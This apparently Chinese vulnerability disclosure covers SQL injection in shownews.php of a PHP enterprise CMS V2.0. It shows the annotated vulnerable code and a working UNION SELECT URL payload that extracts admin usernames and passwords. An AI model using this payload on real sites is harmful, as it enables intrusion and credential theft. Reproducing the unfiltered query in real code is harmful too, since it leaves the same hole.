随缘php企业网站管理系统V2.0 shownews.php注入漏洞

<?php 
include_once("wzdy.php");
if(isset($_GET[‘id‘]))   //检测id变量是否设置
{
    $id=$_GET["id"];
}
   else{
          echo "<script language=‘javascript‘>"; 
          echo "alert(‘请输入正确ID！‘);";
          echo " location=‘index.php‘;"; 
          echo "</script>";
          exit;    
}
    $sql4="select * from news where id=$id";   //未经过滤将id变量直接带入sql查询语句中,输出到$sql4变量中
    $result4=mysql_query($sql4);               //将$sql4变量赋值到$result4变量中
    if($nums=mysql_num_rows($result4))         //返回$result4变量结果，意味着$title变量，$content变量会显示出我们构造的恶意注入语句结果
    {
           $rs4=mysql_fetch_array($result4);   
           $title=$rs4["title"];
           $content=$rs4["content"];
           $hits=$rs4["hits"];
 $fbsj=date("Y-m-d",strtotime($rs4[‘fbsj‘]));
 $sql="update news set hits=hits+1 where id=$id";
 mysql_query($sql);
 }
 else
 {
echo "<script language=‘javascript‘>"; 
echo "alert(‘请输入正确ID！‘);";
echo " location=‘index.php‘;"; 
echo "</script>";
exit;        
 }
?>

http://192.168.1.5/websitetempeltest/qywphp2/shownews.php?id=5 and 1=2 UNION SELECT 1,2,unhex(hex(concat(0x5e5e5e,username,0x7c,password,0x5e5e5e))),4,5,6,7 from gly